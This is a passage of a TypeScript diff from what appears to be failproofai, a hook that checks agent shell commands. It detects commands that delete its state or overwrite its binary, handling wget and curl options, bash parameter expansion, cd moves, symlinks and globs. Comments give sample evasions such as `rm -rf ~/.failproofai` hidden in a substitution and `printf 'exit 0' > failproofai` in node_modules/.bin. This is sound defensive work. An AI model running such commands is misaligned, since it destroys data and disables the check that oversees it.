"content-disposition" || option === "remote-header-name" || option === "input-file" || option === "trust-server-names") { + serverNamed = true; + } else if (option === "recursive" || option === "mirror" || option === "page-requisites" || option === "force-directories") recursive = true; + else if (option === "no-directories") flat = true; + else if (option === "default-page") defaultPage = value ?? defaultPage; + else if (option === "execute" && value !== undefined) { + const eq = value.indexOf("="); + const command = WGETRC_LANDING_COMMANDS[value.slice(0, eq === -1 ? undefined : eq).replace(/[\s_-]/g, "").toLowerCase()]; + if (command !== undefined) apply(command, eq === -1 ? undefined : value.slice(eq + 1).trim()); + } + }; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + urls.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const options = landingOptions(head, arg.slice(2, eq === -1 ? undefined : eq)); + const value = eq !== -1 ? arg.slice(eq + 1) : options.some((option) => LANDING_VALUE_OPTIONS.has(option)) ? args[++i] : undefined; + for (const option of options) apply(option, value); + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + // wget's two-letter `-n?` options (`-nd`, `-nH`, `-nc`, `-np`, `-nv`). + if (head === "wget" && /^-n[A-Za-z]$/.test(arg)) { + if (arg === "-nd") flat = true; + continue; + } + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (valueOptions.includes(flag)) { + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (head === "wget" && flag === "P") apply("directory-prefix", value); + if (head === "curl" && flag === "o") apply("output", value); + if (head === "wget" && flag === "O") named = true; + if (head === "wget" && flag === "i") serverNamed = true; + if (head === "wget" && flag === "e") apply("execute", value); + break; + } + if (head === "curl" && flag === "O") urlNamed = true; + if (head === "curl" && flag === "J") serverNamed = true; + if (head === "wget" && "rmpx".includes(flag)) recursive = true; + } + continue; + } + urls.push(arg); + } + // curl puts a file `-o` names in `--output-dir` as well, an absolute name + // too (joined, not replaced): `--output-dir node_modules/.bin -o failproofai` + // and `-o /failproofai` both write the entry (found by hermes on + // FailproofAI/failproofai#1058). + const landings: Array<{ dir: string; name: string | null }> = + head === "curl" && dirGiven ? outputs.filter((output) => output !== "" && output !== "-").map((name) => ({ dir, name })) : []; + if (!urlNamed || named || (recursive && !flat)) return landings; + if (serverNamed || recursive) return [...landings, { dir, name: null }]; + for (const url of urls) { + // The last segment of the path, without the scheme, host, query or + // fragment, as written and percent-decoded. + const path = url.replace(/^[A-Za-z][\w+.-]*:\/\/[^/?#]*/, "").replace(/[?#][\s\S]*$/, ""); + const last = path.slice(path.lastIndexOf("/") + 1); + let decoded = last; + try { + decoded = decodeURIComponent(last); + } catch { + // Not valid percent-encoding: the name as written is what lands. + } + // wget saves a URL that ends in `/` as `--default-page`, `index.html` + // unless the line names another (`--default-page=failproofai`). + if (last === "" && head === "wget") landings.push({ dir, name: defaultPage }); + for (const name of new Set([last, decoded])) if (name !== "") landings.push({ dir, name }); + } + return landings; +} + +/** + * A `$name` or `${…}` reference starting at `word[i]`, a `$`: where it ends, + * the variable it reads (`""` for one this does not read, such as `$1`, + * `${a[0]}` or `${!prefix*}`), and the operator and word after the name. + */ +type ParameterReference = { end: number; name: string; op: string; arg: string; indirect: boolean; count: boolean }; +function readParameterReference(word: string, i: number): ParameterReference | null { + if (word[i + 1] !== "{") { + const name = /^[A-Za-z_][A-Za-z0-9_]*/.exec(word.slice(i + 1, i + 257))?.[0]; + return name === undefined ? null : { end: i + 1 + name.length, name, op: "", arg: "", indirect: false, count: false }; + } + let depth = 0; + let j = i + 1; + for (; j < word.length; j++) { + if (word[j] === "\\") j++; + else if (word[j] === "{") depth++; + else if (word[j] === "}" && --depth === 0) break; + } + if (j >= word.length) return null; + const body = word.slice(i + 2, j); + const indirect = body.startsWith("!"); + const count = !indirect && body.startsWith("#") && body.length > 1; + const from = indirect || count ? 1 : 0; + const name = /^[A-Za-z_][A-Za-z0-9_]*/.exec(body.slice(from))?.[0]; + const unread = { end: j + 1, name: "", op: "", arg: "", indirect, count }; + if (name === undefined) return unread; + const rest = body.slice(from + name.length); + const op = /^(?::[-=+?]|[-=+?]|##?|%%?|\/[/#%]?|\^\^?|,,?|@|:)/.exec(rest)?.[0] ?? ""; + if ((op === "" && rest !== "") || ((indirect || count) && op !== "")) return unread; + return { end: j + 1, name, op, arg: rest.slice(op.length), indirect, count }; +} + +/** + * A glob as an expression for a whole string, or `null` for one that makes + * none. `parameter`: a `${v%pattern}`-style pattern, where `*` and `?` match + * `/` too (`${A%%/*}` of `long/out/x` is `long`; found by hermes on + * FailproofAI/failproofai#1058), not a path component. + */ +function wholeGlob(pattern: string, parameter = false): RegExp | null { + try { + return new RegExp(`^(?:${compileGlobPattern(pattern, parameter ? "." : "[^/]")})$`, "s"); + } catch { + return null; + } +} + +/** Longer than a value an operator's pattern is matched against, position by position. */ +const MAX_OPERATED_VALUE = 512; + +/** + * `${name}` for a variable holding `value`, as bash computes it, for + * the operators that change the value: trimming (`#`, `%`), replacing (`/`), + * case (`^`, `,`, `@U`), quoting (`@Q`) and substrings (`:2:3`). `null` for one + * this does not compute, which is then read as a value the walk cannot know. + */ +function applyParameterOperator(value: string, op: string, arg: string): string | null { + if (op === "^^" || (op === "@" && arg === "U")) return value.toUpperCase(); + if (op === ",," || (op === "@" && arg === "L")) return value.toLowerCase(); + if (op === "^" || (op === "@" && arg === "u")) return value.charAt(0).toUpperCase() + value.slice(1); + if (op === ",") return value.charAt(0).toLowerCase() + value.slice(1); + if (op === "@") return arg === "Q" ? `'${value.replace(/'/g, "'\\''")}'` : null; + if (op === ":") { + const m = /^\s*(-?\d{1,6})\s*(?::\s*(-?\d{1,6})\s*)?$/.exec(arg); + if (m === null) return null; + const start = Number(m[1]) < 0 ? Math.max(0, value.length + Number(m[1])) : Math.min(value.length, Number(m[1])); + if (m[2] === undefined) return value.slice(start); + const length = Number(m[2]); + return length < 0 ? value.slice(start, Math.max(start, value.length + length)) : value.slice(start, start + length); + } + if (value.length > MAX_OPERATED_VALUE) return null; + if (op === "#" || op === "##" || op === "%" || op === "%%") { + const re = wholeGlob(arg, true); + if (re === null) return null; + const cuts = Array.from({ length: value.length + 1 }, (_, k) => k); + // Shortest first; `##` and `%%` take the longest (found by hermes on FailproofAI/failproofai#1058). + if (op === "##" || op === "%%") cuts.reverse(); + for (const k of cuts) { + if (op.startsWith("#") ? re.test(value.slice(0, k)) : re.test(value.slice(value.length - k))) { + return op.startsWith("#") ? value.slice(k) : value.slice(0, value.length - k); + } + } + return value; + } + // `/pattern/string`, `//` for every match, `/#` at the start, `/%` at the end. + let slash = -1; + for (let k = 0; k < arg.length; k++) { + if (arg[k] === "\\") k++; + else if (arg[k] === "/") { + slash = k; + break; + } + } + const pattern = slash === -1 ? arg : arg.slice(0, slash); + const replacement = slash === -1 ? "" : arg.slice(slash + 1); + const re = wholeGlob(pattern, true); + if (re === null || pattern === "") return re === null ? null : value; + if (op === "/#") { + for (let k = value.length; k > 0; k--) if (re.test(value.slice(0, k))) return replacement + value.slice(k); + return value; + } + if (op === "/%") { + for (let k = 0; k < value.length; k++) if (re.test(value.slice(k))) return value.slice(0, k) + replacement; + return value; + } + let out = ""; + let pos = 0; + let replaced = false; + while (pos < value.length) { + let end = -1; + if (!(replaced && op === "/")) { + for (let k = value.length; k > pos; k--) { + if (re.test(value.slice(pos, k))) { + end = k; + break; + } + } + } + if (end === -1) { + out += value[pos++]; + continue; + } + out += replacement; + replaced = true; + pos = end; + } + return out; +} + +/** + * What `word` may expand to, each `$name` and `${…}` in it read with every + * value `valuesOf` gives the variable: none for one the line never sets, which + * stays written as it is, as one whose value the walk cannot know. A + * `${name:-word}`-style default or `${name:+word}` alternate is also read for + * a variable it does not know, `${!name}` through the variable it names, and + * a value that refers to another variable through that one's values too. + * `null` past `limit` results. + */ +function expandParameters( + word: string, + valuesOf: (name: string) => readonly string[], + limit: number, + depth = 0, + memo = new Map(), +): string[] | null { + let results = [""]; + let literal = 0; + // A result longer than PATH_MAX names no file anything can open, so it is + // dropped as it grows: a value that refers to itself (`A=$A$A…`) doubles + // with every reading. + const append = (alternatives: readonly string[]): boolean => { + const next = new Set(); + for (const result of results) { + for (const alternative of alternatives) { + if (result.length + alternative.length > PATH_MAX_BYTES) continue; + next.add(result + alternative); + if (next.size > limit) return false; + } + } + results = [...next]; + return true; + }; + for (let i = 0; i < word.length; i++) { + if (word[i] !== "$") continue; + const reference = readParameterReference(word, i); + if (reference === null) continue; + const written = word.slice(i, reference.end); + const alternatives = parameterAlternatives(reference, written, valuesOf, limit, depth, memo); + if (alternatives === null || !append([word.slice(literal, i)]) || !append(alternatives)) return null; + literal = reference.end; + i = reference.end - 1; + } + return append([word.slice(literal)]) ? results : null; +} + +/** The values one reference in `expandParameters` may take. */ +function parameterAlternatives( + reference: ParameterReference, + written: string, + valuesOf: (name: string) => readonly string[], + limit: number, + depth: number, + memo: Map, +): string[] | null { + if (reference.name === "") return [written]; + const deeper = (text: string): string[] | null => { + if (depth >= 3 || !text.includes("$")) return [text]; + const key = `${depth}\u0000${text}`; + if (!memo.has(key)) memo.set(key, expandParameters(text, valuesOf, limit, depth + 1, memo)); + return memo.get(key)!; + }; + const argument = (): string[] | null => deeper(reference.arg); + let values: readonly string[] = valuesOf(reference.name); + if (reference.indirect) { + if (values.length === 0 || values.some((value) => !/^[A-Za-z_][A-Za-z0-9_]*$/.test(value))) return [written]; + values = values.flatMap((target) => valuesOf(target)); + } + const { op } = reference; + if (values.length === 0) { + const arg = op === "-" || op === ":-" || op === "=" || op === ":=" || op === "+" || op === ":+" ? argument() : []; + if (arg === null) return null; + if (op === "+" || op === ":+") return ["", ...arg]; + return [written, ...arg]; + } + const out: string[] = []; + for (const raw of values) { + const expanded = deeper(raw); + if (expanded === null) return null; + for (const value of expanded) { + if (reference.count) out.push(String(value.length)); + else if (op === "" || op === "-" || op === "=" || op === "?" || op === ":?") out.push(value); + else if (op === ":-" || op === ":=") { + if (value !== "") out.push(value); + else out.push(...(argument() ?? [written])); + } else if (op === "+") out.push(...(argument() ?? [written])); + else if (op === ":+") { + if (value === "") out.push(""); + else out.push(...(argument() ?? [written])); + } else { + const arg = argument(); + const result = arg === null ? null : applyParameterOperator(value, op, arg[0]); + out.push(result ?? written); + } + if (out.length > limit) return null; + } + } + return [...new Set(out)]; +} + +/** A `${…}` that does more than name a variable: an operator, `${!name}` or `${#name}`. */ +const OPERATED_REFERENCE_RE = /\$\{[!#]?[A-Za-z_][A-Za-z0-9_]*[^A-Za-z0-9_}]|\$\{[!#]/; + /** * True when `command` would delete, move or overwrite failproofai's own state. * @@ -1472,7 +2684,8 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and * does, because nothing in the second command reaches the state. */ -function destroysFailproofaiState(command: string, depth = 0): boolean { +function destroysFailproofaiState(command: string, depth = 0, startDir?: string, startUnknown = false): boolean { + const globOptions = globOptionsOf(command); // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -1483,59 +2696,1403 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { if (depth === 0) { const bodies = substitutionBodies(command); for (let i = 0; i < bodies.length && i < 64; i++) { - if (destroysFailproofaiState(bodies[i], 1)) return true; + if (destroysFailproofaiState(bodies[i], 1, startDir, startUnknown)) return true; bodies.push(...substitutionBodies(bodies[i])); } - } - - // Variables that hold the path. The scan used to ask only whether a value - // CONTAINED the path, which caught `D=~/.failproofai; rm -rf $D` and missed - // `A=~/.failproofai; B=$A; rm -rf $B` — the second hop names no path at all, - // only the first variable. So a value referencing a known state variable - // counts too. Repeating to a fixpoint costs four lines and makes the result - // independent of the order the assignments appear in, rather than resting on - // a shell evaluating them top to bottom. - const assignments = [ - ...command.matchAll(/(?:^|[\s;&|(])(?:export\s+)?([A-Za-z_][A-Za-z0-9_]*)=("[^"]*"|'[^']*'|[^\s;&|)]+)/g), - ].map(([, name, value]) => [name, value.replace(/^["']|["']$/g, "")] as const); - const stateVars = new Set(); - for (let pass = 0; pass < assignments.length + 1; pass++) { - const before = stateVars.size; - for (const [name, value] of assignments) { - const holdsState = - FAILPROOFAI_STATE_PATH_RE.test(value) || - [...value.matchAll(VAR_REFERENCE_RE)].some(([, ref]) => stateVars.has(ref)); - if (holdsState) stateVars.add(name); + } + + // Variables that hold the path. The scan used to ask only whether a value + // CONTAINED the path, which caught `D=~/.failproofai; rm -rf $D` and missed + // `A=~/.failproofai; B=$A; rm -rf $B` — the second hop names no path at all, + // only the first variable. So a value referencing a known state variable + // counts too. Repeating to a fixpoint costs four lines and makes the result + // independent of the order the assignments appear in, rather than resting on + // a shell evaluating them top to bottom. + const assignments = [ + ...command.matchAll(ASSIGNMENT_RE), + ].map(([, name, value]) => [name, value.replace(/^["']|["']$/g, "")] as const); + const stateVars = new Set(); + for (let pass = 0; pass < assignments.length + 1; pass++) { + const before = stateVars.size; + for (const [name, value] of assignments) { + const holdsState = + FAILPROOFAI_STATE_PATH_RE.test(value) || + [...value.matchAll(VAR_REFERENCE_RE)].some(([, ref]) => stateVars.has(ref)); + if (holdsState) stateVars.add(name); + } + if (stateVars.size === before) break; + } + + // Asked again and again for the same words (every check below, for the words + // as written and as expanded), so answered once per text. + const named = new Map(); + const globbed = new Map(); + const globNamesState = (token: string): boolean => { + let verdict = globbed.get(token); + if (verdict === undefined) globbed.set(token, (verdict = globCouldNameState(token))); + return verdict; + }; + const namesState = (text: string): boolean => { + let verdict = named.get(text); + if (verdict !== undefined) return verdict; + verdict = FAILPROOFAI_STATE_PATH_RE.test(text); + for (const [, name] of verdict ? [] : text.matchAll(VAR_REFERENCE_RE)) { + if (stateVars.has(name)) verdict = true; + } + // Per token, not over the whole text: a glob compiled from a whole command + // line matches nothing, and it is the individual operand — `~/.failproof*` + // — that would expand onto the state. + verdict ||= text.split(/\s+/).some((token) => globNamesState(unquotedToken(token))); + named.set(text, verdict); + return verdict; + }; + + let cwdInState = false; + // How deep in `( … )` the walk is, and how deep it was when the `cd` fired. + // A `cd` inside a subshell moves the subshell only, so the window closes when + // the parenthesis does: `(cd ~/.failproofai && cat x); rm -rf node_modules` + // was denying a cleanup in an entirely unrelated directory. + let parenDepth = 0; + let cdParenDepth: number | null = null; + + // Where the shell stands, when the walk can tell: the session's directory to + // begin with, then wherever each `cd`, `pushd` and `popd` moves it. A + // protected FILE sits in a directory nothing protects, so `cwdInState` never + // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai`, or + // the same `printf` in a session a previous call left there, names + // `node_modules/.bin/failproofai` only once `failproofai` is read from there + // (FailproofAI/agenteye#1795). + // + // `dir` is the directory's last `SHELL_DIR_SEGMENTS` segments, which is what + // words are read from: every pattern matches the end of a path, and an + // unbounded path made every later word slower to judge. `full` is the whole + // path, absolute when the session's directory is known and otherwise relative + // to wherever the line started (`.`); it is what a `..` that climbs above + // `dir` and a symlink are resolved from. Past `FULL_DIR_SEGMENTS` it is + // dropped and `deep` set. `lost` marks a `cd` the walk could not follow + // (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`): a relative word is then also + // judged as if it stood in an installed location (`AS_IF_INSTALLED`). + // `anywhere` marks a directory read from where the line started when the + // agent may have run it somewhere its hook does not report (Codex's + // `workdir`): a relative destination there may be npm's bin directory. + type Where = { dir: string | undefined; full: string | undefined; deep: boolean; lost: boolean; inState: boolean; anywhere?: boolean }; + const startFull = typeof startDir === "string" && startDir !== "" ? shellPath(undefined, startDir) || "." : "."; + let at: Where = { + dir: startFull === "." ? undefined : shellTail(startFull), + full: startFull, + deep: false, + lost: false, + inState: false, + anywhere: startUnknown, + }; + let previous: Where | null = null; + // `set -P` / `set -o physical`: every later `cd` is a `cd -P`. + let physicalMoves = false; + const dirStack: Where[] = []; + // Where the shell may stand instead. A `cd` can fail, and a command after + // `;`, a newline, `&` or `||` runs anyway, in the directory the shell never + // left: `cd /nonexistent; printf x > failproofai`. Only `&&` makes what + // follows wait for the `cd`. So the directories a move leaves are held in + // `pending` until the next separator, and become possible (`alts`) unless + // that separator is `&&`. + let alts: Where[] = []; + let pending: Where[] = []; + const scopes: Array<{ + depth: number; + at: Where; + previous: Where | null; + stack: Where[]; + alts: Where[]; + pending: Where[]; + physical: boolean; + }> = []; + const sameWhere = (x: Where, y: Where) => x.dir === y.dir && x.full === y.full && x.lost === y.lost; + // A directory the walk cannot name: where the shell may be once there are + // more possibilities than it tracks. + const UNKNOWN: Where = { dir: undefined, full: undefined, deep: false, lost: true, inState: false }; + // Each place once. Past the limit the oldest are not dropped, since the + // shell may still be in any of them: the newest few are kept and the rest + // read as a directory the walk lost. + const fold = (list: Where[], limit: number): Where[] => { + const kept: Where[] = []; + for (const where of list) if (!kept.some((other) => sameWhere(other, where))) kept.push(where); + if (kept.length <= limit) return kept; + return [...kept.filter((where) => !sameWhere(where, UNKNOWN)).slice(-(limit - 1)), UNKNOWN]; + }; + // Where else the shell may stand: not where it certainly is. + const possible = (list: Where[]): Where[] => fold(list.filter((where) => !sameWhere(where, at)), MAX_ALTERNATE_DIRS); + // Symlinks this line makes (`ln -s `), which no `lstat` sees + // yet: keyed by where the link really is, holding its target as written. + const links = new Map(); + // Where an absolute path really is, as the kernel resolves it: one component + // at a time from the root, each link (this line's or one on disk) replaced + // by its target where it is met, and each `..` taken from the directory + // reached so far. So `inline/../failproofai` through a link to + // `node_modules/.bin/sub` is `.bin/failproofai`, which collapsing `..` as + // text first read as `./failproofai` (found by hermes on + // FailproofAI/failproofai#1058). Past 40 links (the kernel's MAXSYMLINKS) + // the write fails, but where it was headed is unknown, so that is `ELOOP` + // and read as landing on the state. Through a link whose target is a + // substitution or a variable the walk cannot read, `{ via, lost }` is that + // target as written and what remains of the path after it. + const ELOOP = Symbol("ELOOP"); + type Lost = { via: string; lost: string }; + type RealPath = string | typeof ELOOP | Lost; + type Walk = { reached: string; hops: number } | typeof ELOOP | Lost; + // The kernel's walk from `reached` ("" is the root) with `hops` links + // already followed, over the components still `pending`. + const walkFrom = (reached: string, hops: number, pending: string[]): Walk => { + while (pending.length > 0) { + const part = pending.shift()!; + if (part === "" || part === ".") continue; + if (part === "..") { + reached = reached.slice(0, reached.lastIndexOf("/")); + continue; + } + const next = `${reached}/${part}`; + let target = links.get(next); + const made = target !== undefined; + if (!made) { + try { + if (lstatSync(next).isSymbolicLink()) target = readlinkSync(next); + } catch { + // Missing or unreadable: a plain name once created, so walk on. + } + } + if (target === undefined) { + reached = next; + continue; + } + if (made && /[$`]/.test(target)) return { via: target, lost: pending.filter((p) => p !== "").join("/") }; + if (++hops > 40) return ELOOP; + if (target.startsWith("/")) reached = ""; + pending.unshift(...target.split("/")); + } + return { reached, hops }; + }; + // Each directory is walked once: every word read from the same place shares + // it, and the option values glued into a long command line are many words. + const directoryWalks = new Map(); + const realPaths = new Map(); + const realPath = (raw: string): RealPath => { + // Longer than PATH_MAX, no write can open it, and walking it on disk one + // component at a time cost a second for a 128 KB word of `a/a/a/…`. + if (raw.length > PATH_MAX_BYTES) return shellPath(undefined, raw); + let real = realPaths.get(raw); + if (real !== undefined) return real; + const cut = raw.lastIndexOf("/"); + const name = raw.slice(cut + 1); + let walked: Walk; + if (cut > 0 && name !== "" && name !== "." && name !== "..") { + const directory = raw.slice(0, cut); + let parent = directoryWalks.get(directory); + if (parent === undefined) directoryWalks.set(directory, (parent = walkFrom("", 0, directory.split("/")))); + walked = + parent === ELOOP + ? ELOOP + : "reached" in parent + ? walkFrom(parent.reached, parent.hops, [name]) + : { via: parent.via, lost: parent.lost === "" ? name : `${parent.lost}/${name}` }; + } else { + walked = walkFrom("", 0, raw.split("/")); + } + real = walked === ELOOP || !("reached" in walked) ? walked : walked.reached || "/"; + realPaths.set(raw, real); + return real; + }; + + // A relative word read from `base`, and `//`, `.` and `..` resolved in any. + const fromBase = (base: Where, word: string): string => + relativeWord(word) && base.dir !== undefined + ? shellPath(base.dir, word) + : /\/\/|(?:^|\/)\.\.?(?:\/|$)/.test(word) + ? shellPath(undefined, word) || "." + : word; + const resolvesFrom = (base: Where, text: string): boolean => { + // An option is not a path to read from where the shell stands. + if (text.startsWith("-")) return false; + if (base.lost && relativeWord(text)) { + if (AS_IF_INSTALLED.some((dir) => namesState(dir + text))) return true; + // From a directory the walk cannot see, `bins/failproofai` may go + // through a link to npm's bin directory. + if (text.includes("/") && couldBeEntryName(text.slice(text.lastIndexOf("/") + 1))) return true; + } + // A `..` can climb above `dir`. Then it is read from the whole path, cut + // the same way, or when even that was too long to keep, as if from an + // installed location. + if (relativeWord(text) && text.includes("..") && !base.lost) { + const climbed = fromBase(base, text); + if (climbed.startsWith("..") || (base.dir !== undefined && !climbed.startsWith("/") && base.full?.startsWith("/"))) { + if (base.full !== undefined) { + const whole = shellPath(base.full === "." ? undefined : base.full, text); + if (FAILPROOFAI_STATE_PATH_RE.test(whole) || namesState(shellTail(whole))) return true; + } else if (base.deep && climbed.startsWith("..")) { + const rest = climbed.replace(/^(?:\.\.\/)+/, ""); + if (AS_IF_INSTALLED.some((dir) => namesState(dir + rest))) return true; + } + } + } + if (base.lost) return false; + // Every pattern spells `failproof`, so only a word or a directory that + // does, or a glob that could, can resolve onto one. A glob as written is + // already tried against every candidate that starts with a relative + // directory, so it is read from where the shell stands only when that is a + // directory a candidate continues from by one name (`node_modules/.bin` + // and `fail*`), or when it climbs out with `..`. + if (!/failproof/i.test(text) && !/failproof/i.test(base.dir ?? "")) { + if (!GLOB_METACHAR_RE.test(text)) return false; + const parent = (base.dir ?? "").slice((base.dir ?? "").lastIndexOf("/") + 1).toLowerCase(); + if (!GLOB_PARENT_DIRECTORIES.has(parent) && !text.includes("..")) return false; + } + const resolved = fromBase(base, text); + return resolved !== text && namesState(resolved); + }; + // Whether `text`, read from where the shell stands or may stand, names what + // `namesState` protects — asked apart from `namesState(text)` where the whole + // line has already been judged as written. + const resolvesOntoState = (text: string): boolean => + resolvesFrom(at, text) || alts.some((base) => resolvesFrom(base, text)); + // A written path as the absolute path it spells from `base`: `raw` as the + // kernel walks it, each `..` taken after any link before it, and `plain` as + // text. + const absoluteFrom = (base: Where, written: string): { raw: string; plain: string } | undefined => { + if (written === "" || written.startsWith("-") || written.includes("$") || GLOB_METACHAR_RE.test(written)) { + return undefined; + } + const raw = written.startsWith("/") + ? written + : written === "~" || written.startsWith("~/") + ? homedir() + written.slice(1) + : relativeWord(written) && !base.lost && base.full?.startsWith("/") + ? `${base.full}/${written}` + : undefined; + if (raw === undefined) return undefined; + return { raw, plain: shellPath(undefined, raw) }; + }; + // Where a written path really is, from each place the shell may stand: as + // the kernel resolves it, through links on disk and those this line makes. + const realPathsOf = (written: string): Array<{ plain: string; real: RealPath }> => { + const out: Array<{ plain: string; real: RealPath }> = []; + for (const base of [at, ...alts]) { + const path = absoluteFrom(base, written); + if (path !== undefined) out.push({ plain: path.plain, real: realPath(path.raw) }); + } + return out; + }; + // Through a link whose target the walk cannot read, the target as written + // and what remains after it, and that remainder alone the way a word is read + // once the walk has lost the shell's directory: as if from an installed + // location. `ln -s "$(npm root)/.bin" b; printf x > b/failproofai`. + const lostNamesState = ({ via, lost }: { via: string; lost: string }): boolean => + namesState(lost === "" ? via : `${via}/${lost}`) || + (lost !== "" && AS_IF_INSTALLED.some((dir) => namesState(dir + lost))) || + couldBeEntryName(lost.slice(lost.lastIndexOf("/") + 1)); + // Whether a written directory really is npm's bin directory, through links. + // Through one the walk cannot read, it is when the target ends in `.bin`, or + // is a substitution (`$(npm root)/.bin` arrives cut short as `$(npm`); a + // variable the line never sets is read as an unknown `cd` is, which is not + // taken for npm's bin (`ln -sfn "$RELEASE" current && cp -r config current/`). + const isBinDir = (written: string): boolean => + realPathsOf(written.replace(/[\\/]+$/, "") || written).some(({ real }) => { + if (real === ELOOP) return true; + if (typeof real === "string") return NPM_BIN_DIRECTORY_RE.test(real); + const reached = real.lost === "" ? real.via : `${real.via}/${real.lost}`; + return /(?:^|[\\/])\.bin[\\/]*$/i.test(reached) || (real.lost === "" && /\$\(|`/.test(real.via)); + }); + // Whether a path really lands on what `namesState` protects once symlinks + // are followed — those on disk, as the file tools already follow them, and + // those this line makes: `printf x > bins/failproofai` where `bins` links to + // `node_modules/.bin`. Only a link counts, so a backup that merely carries a + // protected name somewhere else (`/tmp/backup/.failproofai`) does not. + // Whether a path exists, as `lstat` finds it: a missing name, or one under a + // file (`ENOTDIR`), does not. + const exists = (path: string): boolean => { + try { + return lstatSync(path || "/", { throwIfNoEntry: false }) !== undefined; + } catch { + return false; + } + }; + // What a directory holds, read once. + const listings = new Map | null>(); + const listingOf = (directory: string): Set | null => { + let names = listings.get(directory); + if (names === undefined) { + try { + names = new Set(readdirSync(directory || "/")); + } catch { + names = null; + } + listings.set(directory, names); + } + return names; + }; + // The names of the links this line has made in `directory` ("" is the + // root), which no listing holds yet but the shell's glob will. + const inlineNamesIn = (directory: string): string[] => { + if (links.size === 0) return []; + const names: string[] = []; + for (const place of links.keys()) { + const cut = place.lastIndexOf("/"); + if (place.slice(0, cut) === directory) names.push(place.slice(cut + 1)); + } + return names; + }; + // A directory as a glob reads it: the directory it really is, through this + // line's links too, and the names in it, this line's links among them. + const namesInDirectory = (path: string): { directory: string; names: Iterable } => { + let directory = path; + if (links.size > 0 && path !== "") { + const real = realPath(path); + if (typeof real === "string") directory = real === "/" ? "" : real; + } + const listed = listingOf(directory); + const inline = inlineNamesIn(directory); + return { directory, names: inline.length === 0 ? (listed ?? []) : new Set([...(listed ?? []), ...inline]) }; + }; + // Whether `path` is there once this line's links are made: on disk, or + // through or as one of them. + const present = (path: string): boolean => { + if (exists(path)) return true; + if (links.size === 0) return false; + const cut = path.lastIndexOf("/"); + const parent = realPath(path.slice(0, cut) || "/"); + if (typeof parent !== "string") return true; + if (links.has(`${parent === "/" ? "" : parent}/${path.slice(cut + 1)}`)) return true; + const real = realPath(path); + return typeof real !== "string" || exists(real) || links.has(real); + }; + // A pattern as the shell expands it against the disk, from directory + // `from`: each component with a pattern matched against what the directory + // before it holds, a leading `.` only by a pattern that spells one (no + // `dotglob`), and the whole path required to exist. `null` past + // GLOB_DISK_LIMIT paths. + const expandOnDisk = (from: string, pattern: string): string[] | null => { + let paths = [from === "/" ? "" : from]; + let reads = 0; + let walked = 0; + for (const part of pattern.split("/")) { + if (part === "" || part === ".") continue; + if (part === ".." || !isGlobPart(part)) { + paths = paths.map((path) => `${path}/${part}`); + continue; + } + // zsh's `**/` (and bash's under globstar): this directory and every one + // below it, hidden ones under dotglob; `***/` follows links to them too. + if ((part === "**" || part === "***") && globOptions.globstar) { + const queue = [...paths]; + for (let i = 0; i < queue.length; i++) { + if (++walked > GLOB_RECURSIVE_DIR_LIMIT) return null; + for (const name of namesInDirectory(queue[i]).names) { + if (name.startsWith(".") && !globOptions.dotglob) continue; + const child = `${queue[i]}/${name}`; + try { + if ((part === "***" ? statSync(child) : lstatSync(child)).isDirectory()) queue.push(child); + } catch { + // Gone or unreadable: nothing below it. + } + } + } + paths = queue; + continue; + } + const matcher = globPartMatcher(part, globOptions); + if (matcher === null) return null; + const next: string[] = []; + for (const path of paths) { + // After a `**` the directories are the ones it walked, under its own limit. + if (++reads > (walked > 0 ? GLOB_RECURSIVE_DIR_LIMIT : GLOB_DISK_LIMIT / 4)) return null; + for (const name of namesInDirectory(path).names) { + if (name.startsWith(".") && !part.startsWith(".") && !globOptions.dotglob) continue; + if (!matcher.test(name)) continue; + next.push(`${path}/${name}`); + if (next.length > GLOB_DISK_LIMIT) return null; + } + } + if (next.length === 0) return []; + paths = next; + } + return paths.filter(present); + }; + // The links in `directory`, read once from disk, with this line's. + const diskLinks = new Map(); + const linkNamesIn = (directory: string): string[] => { + let names = diskLinks.get(directory); + if (names === undefined) { + names = []; + try { + for (const entry of readdirSync(directory || "/", { withFileTypes: true })) if (entry.isSymbolicLink()) names.push(entry.name); + } catch { + // Unreadable: nothing in it can be reached through it. + } + diskLinks.set(directory, names); + } + const inline = inlineNamesIn(directory); + return inline.length === 0 ? names : [...names, ...inline]; + }; + // The matches of a pattern in one directory that are links, the only ones + // that reach anywhere else, however many plain names match beside them: + // `tee many/*` wrote through `many/hook`, a link to the entry, past 4096 + // plain names (found by hermes on FailproofAI/failproofai#1058). `null` + // past GLOB_DISK_LIMIT links. + const linksMatching = (directory: string, part: string): string[] | null => { + // A bracket bash cannot read either (`[r-p]`) matches nothing. + const matcher = globPartMatcher(part, globOptions); + if (matcher === null) return []; + const found: string[] = []; + for (const name of linkNamesIn(directory)) { + if (name.startsWith(".") && !part.startsWith(".") && !globOptions.dotglob) continue; + if (!matcher.test(name)) continue; + found.push(`${directory}/${name}`); + if (found.length > GLOB_DISK_LIMIT) return null; + } + return found; + }; + // A glob expands where its literal directories really are: `cp x bins/fail*` + // with `bins` a link to `node_modules/.bin`, and `fail*` from a directory + // reached through one, both expand onto the entry. So the directories before + // the first pattern are resolved, and the pattern is read from there. A + // pattern in a directory component (`b*/failproofai`) is expanded on disk as + // the shell expands it and each path it reaches resolved, and each word a + // brace expands to is read the same way (found by hermes on + // FailproofAI/failproofai#1058). + const patternLandsOnState = (word: string): boolean => { + const parts = word.split("/"); + const first = parts.findIndex((part) => isGlobPart(part)); + if (first === -1) return false; + const prefix = first === 0 ? "" : parts.slice(0, first).join("/") || "/"; + const pattern = parts.slice(first).join("/"); + if (/[$`]/.test(prefix)) return false; + const inDirectory = parts.slice(first, -1).some((part) => isGlobPart(part)); + return [at, ...alts].some((base) => { + const raw = + prefix === "" + ? !base.lost && base.full?.startsWith("/") + ? base.full + : undefined + : absoluteFrom(base, prefix)?.raw; + if (raw === 